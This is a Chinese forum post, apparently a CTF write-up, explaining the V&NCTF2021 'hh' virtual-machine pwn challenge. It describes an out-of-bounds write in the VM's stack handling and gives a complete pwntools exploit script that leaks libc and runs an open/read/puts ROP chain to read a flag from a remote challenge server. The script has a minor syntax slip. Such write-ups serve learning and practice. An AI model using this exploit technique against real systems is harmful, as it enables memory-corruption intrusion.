首页
社区
课程
招聘
[原创]V&NCTF2021 hh(vmpwn)详解
2021-4-9 02:22 9334

[原创]V&NCTF2021 hh(vmpwn)详解

2021-4-9 02:22
9334

这道题就是弄了一个虚拟机,然后根据输入的code, 执行相应的操作

 

我的理解是 相当于在函数栈里伪造一个虚拟栈,又伪造了栈顶指针,然后在这个虚拟栈里你可以进行一些操作,如add(将栈顶两个元素相加),push,pop等,然后有时候由于检验不当,就会造成越界,导致原本操作只是在虚拟栈里变成了可以影响实际函数栈的数据,相当于可以劫持RBP,RET,如果能做到这一步,接下来就是常规的ROP了

 

这是add指令,stack[r_sp+1000]就相当于栈顶

 

image-20210317205240286

 

push指令更好理解

 

image-20210317205437489

 

注意到下面这两处

 

image-20210317205812460

 

这两个指令意思相差不多,都可以越界写,我们以第一个指令为例子

 

这里的 v31 = buf[buf_index] ,而buf[buf_index]是我们自己控制的,也就相当于我们可以控制

 

stack[v31 +999]指向任意地址处,因为c语言中并不会对数组越界进行检查,我们大可以构造如stack[5000] 或者 stack[-5000],就可以通过算偏移得出stack[num]中的num(stack一个元素为四个字节大小),然后stack[r_sp + 1000] 是栈顶数据,我们可以通过push指令给它赋任意值

 

综上,我们就可以往任意地址写任意数据,通过调试我们就可以得到实际函数栈中的RET地址距stack[]的偏移,从而我们可以覆盖RET,实现ROP,从而get shell或者orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import * 
context(os='linux',arch='amd64',log_level='debug')
 
#r = gdb.debug("./hh",'break main')
#r = process('./hh')
r = remote("node3.buuoj.cn", 27223
elf = ELF('./hh')
pop_rdi = 0x4011A3
main = 0x000000000401084
buf = 0x602060
read = 0x0000000000400710
pop_rsi_r15 = 0x0000000004011A1
puts_plt = 0x4006f0
puts_got = 0x601FA8
start = 0x400750
 
def code(cod):
    out1 = b''
    for i in cod:
        out1 += p32(i)
    return out1
 
def stack(buf):
    out2 = b''
    for i in range(len(buf)):
        out2 += code([ 9 , buf[i]&0xffffffff , 12 , i * 2 + 1007 , 9 , buf[i] >> 32 , 12 , i * 2 + 1008])
    return out2
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
 
payload1 = stack([pop_rdi,puts_got,puts_plt,start])
 
r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recv()
libc_base = u64(r.recvline()[:-1].ljust(8, b'\x00')) -     0x06f6a0
log.info(hex(libc_base))
open_addr = libc_base + 0xF70F0
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
 
payload1 = code([6 , 4 , 0x67616c66, 0]) + stack([pop_rdi, buf+8 , open_addr ,start])
 
r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
 
payload1 = stack([pop_rdi ,3 , pop_rsi_r15 , buf + 0x500 , 0 , read , start])
 
r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
 
payload1 = stack([pop_rdi , buf + 0x500 , puts_plt , start])
 
r.send(payload1)
r.recvuntil("choice :")
 
r.sendline('2')
r.recv()
r.interactive()

脚本的重点是

1
2
3
4
5
6
7
8
9
10
11
def code(cod):
    out1 = b''
    for i in cod:
        out1 += p32(i)
    return out1
 
def stack(buf):
    out2 = b''
    for i in range(len(buf)):
        out2 += code([ 9 , buf[i]&0xffffffff , 12 , i * 2 + 1007 , 9 , buf[i] >> 32 , 12 , i * 2 + 1008])
    return out2

stack函数中的1007就是调试出来的偏移,9是push指令,12是越界写,由于一次只能写4字节,所以得分两次写


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞2
打赏
分享
最新回复 (1)
雪    币: 1446
活跃值: (846)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
0xRGz 1 2021-4-9 02:31
2
0
逮住
游客
登录 | 注册 方可回帖
返回